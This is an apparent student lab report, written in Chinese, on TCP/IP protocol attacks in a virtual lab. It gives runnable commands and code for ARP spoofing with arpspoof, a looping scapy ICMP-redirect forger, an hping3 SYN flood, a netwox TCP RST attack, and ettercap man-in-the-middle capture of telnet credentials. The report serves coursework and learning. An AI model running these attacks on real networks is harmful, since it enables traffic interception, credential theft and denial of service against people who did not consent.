20242938 2024-2025-2 《网络攻防实践》第四周作业

实践内容

在网络攻防实验环境中完成TCP/IP协议栈重点协议的攻击实验,包括ARP缓存欺骗攻击、ICMP重定向攻击、SYN Flood攻击、TCP RST攻击、TCP会话劫持攻击。

实践过程

ARP缓存欺骗攻击

  • 原理
    攻击者伪造ARP响应包,声称自己的MAC地址对应受害者的IP(或网关的IP),从而篡改目标设备的ARP缓存表。
  • 攻击效果
    • 中间人攻击:流量被劫持到攻击者机器,可监听或篡改数据。
    • 拒绝服务:通过虚假ARP响应导致网络通信中断。
  • 关键点
    ARP协议无认证机制,局域网内设备易受欺骗。

准备工作

首先,查看本机的ip地址为192.168.200.4,MAC地址为00:0c:29:5d:23:e1

查看靶机的ip地址为192.168.200.5,MAC地址为00:0c:29:a4:5d:cc

步骤1:开启IP转发(避免靶机断网)

echo 1 > /proc/sys/net/ipv4/ip_forward
  • 作用:允许攻击机转发流量,使靶机仍能访问外网(避免引起怀疑)。
  • 验证
    cat /proc/sys/net/ipv4/ip_forward
    
    输出应为 1

步骤2:查询网关MAC地址

攻击机输入if r查看默认网关为:192.168.200.2

arp -a | grep 192.168.200.1,网关mac地址为00:50:56:ed:8a:21

步骤3:发起ARP欺骗

打开 两个终端,分别执行以下命令:

  1. 终端1:欺骗靶机,让靶机认为攻击机是网关
    arpspoof -i eth0 -t 192.168.200.5 192.168.200.2
    

  1. 终端2:欺骗网关,让网关认为攻击机是靶机
    arpspoof -i eth0 -t 192.168.200.2 192.168.200.5
    

  • 参数说明
    • -i eth0:指定网卡(根据您的输出,接口名为 eth0)。
    • -t 目标IP:指定欺骗目标(靶机或网关IP)。

步骤4:验证攻击是否成功

在靶机上执行:

arp -a
  • 攻击结果
    网关 192.168.200.2 的MAC地址被篡改为攻击机的MAC(00:0c:29:5d:23:e1)。

ICMP重定向攻击

1. 攻击原理

ICMP重定向攻击(ICMP Redirect Attack)利用ICMP协议的类型5(重定向报文),欺骗目标主机修改其路由表,将流量转发到攻击者指定的恶意路由。

  • 正常功能:路由器用ICMP重定向优化网络路径(如通知主机更优的下一跳)。
  • 攻击利用:伪造ICMP重定向报文,强制目标将流量发送到攻击者控制的节点。

步骤1 开启IP转发(攻击机)*

echo 1 > /proc/sys/net/ipv4/ip_forward

步骤2 构造ICMP重定向包

使用工具(如 scapy)伪造ICMP重定向报文,通知靶机将流量发送到攻击机:

from scapy.all import *
import time

def send_icmp_redirect():
 # 参数设置
 target_ip = "192.168.200.5"    # 靶机IP
 gateway_ip = "192.168.200.2"   # 网关IP
 attacker_ip = "192.168.200.4"  # 攻击机IP
 
 # 构造ICMP重定向包(伪装成网关发送)
 icmp_pkt = (
     IP(src=gateway_ip, dst=target_ip) /
     ICMP(type=5, code=1, gw=attacker_ip) /  # type=5表示重定向,code=1表示主机重定向
     IP(src=target_ip, dst="8.8.8.8") /      # 触发重定向的示例流量(任意外部IP)
     UDP(sport=12345, dport=80)               # 任意传输层内容
 )
 send(icmp_pkt, verbose=False)

# 持续发送(每2秒一次)
while True:
 send_icmp_redirect()
 time.sleep(2)

字段 作用
IP.src gateway_ip 伪装成网关发送的包,增加可信度。
ICMP.type 5 表示ICMP重定向报文。
ICMP.code 1 代码1表示“主机重定向”(0为网络重定向)。
ICMP.gw attacker_ip 指定重定向的“新网关”(即攻击机IP)。
内层IP.dst 8.8.8.8 示例流量目标(需与靶机实际访问的IP无关,仅触发重定向逻辑)。

步骤3 持续发送重定向包

sudo python3 '/home/kali/Desktop/icmp_attack.py' 

验证攻击是否成功

输入echo 1 > /proc/sys/net/ipv4/conf/all/accept_redirects,临时允许靶机接收重定向

靶机输入traceroute 8.8.8.8 ,可以观察到流量第一跳经过攻击机 (192.168.200.4),攻击成功了。

SYN Flood攻击

SYN Flood是一种典型的 DoS/DDoS攻击,利用TCP协议的三次握手缺陷:

  1. 攻击者发送大量 SYN包 到目标服务器
  2. 服务器回应 SYN-ACK 并等待客户端ACK
  3. 攻击者 不完成握手,导致服务器资源耗尽

kali输入sudo hping3 -S -p 80 --flood --rand-source 192.168.200.5
靶机输入watch -n 1 "netstat -antp | grep 'SYN_RECV' | wc -l",实时监控半开TCP连接数 的Linux命令组合,主要用于检测SYN Flood攻击。
kali同时开了4个终端一起发,感觉效果一般。

TCP RST攻击

在arp实验的基础上继续进行。
kali输入sudo netwox 78 -i 192.168.200.5
靶机无法访问网站

TCP会话劫持攻击

TCP会话劫持是通过预测或窃取TCP序列号,伪造数据包冒充合法通信方接管会话的攻击技术,防御需依赖加密通信和协议强化。

准备工作

首先打开Metasploitable和seed虚拟机,并确保网络是通的


然后在kali端进行截获

  1. 扫描主机
    • 点击菜单栏 HostsScan for hosts
  2. 选择目标
    • HostsHosts list → 选中网关192.168.200.123 → 点击 Add to Target 1
    • 选中靶机192.168.200.5 → 点击 Add to Target 2
  3. 启动ARP欺骗
    • MitmARP poisoning → 勾选 Sniff remote connections
  4. 开始嗅探
    • StartStart sniffing

然后在seed端输入telnet 192.168.200.123发起登录

在kali端找到端口为23且为TCP协议的包,可以得到

查看详细信息可以看到用户名密码的信息

遇到的问题及总结

1.IMCP攻击没有生效,持续发送重定向包后,未出现异常路由条目

攻击未成功的原因是靶机系统禁用了ICMP重定向接收

  • 现代Linux系统默认忽略ICMP重定向包。

  • 验证命令

    cat /proc/sys/net/ipv4/conf/all/accept_redirects
    

输出为 0 表示已禁用(需改为 1 才能测试攻击)。由图可知,输出为0,已禁用。

输入echo 1 > /proc/sys/net/ipv4/conf/all/accept_redirects,临时允许靶机接收重定向

2.在VMware NAT模式下,虚拟机的网络流量会经过宿主机的NAT转换层,导致以下问题:

  • ICMP重定向包被宿主机的虚拟网络设备(VMnet8)过滤,无法到达靶机。
  • 虚拟网关(192.168.200.2)由VMware虚拟化实现,不遵循标准网络协议行为。
  • NAT层的路由逻辑固定,无法通过ICMP重定向修改。
posted @ 2025-03-26 22:22  别来无恙。。  阅读(90)  评论(0)    收藏  举报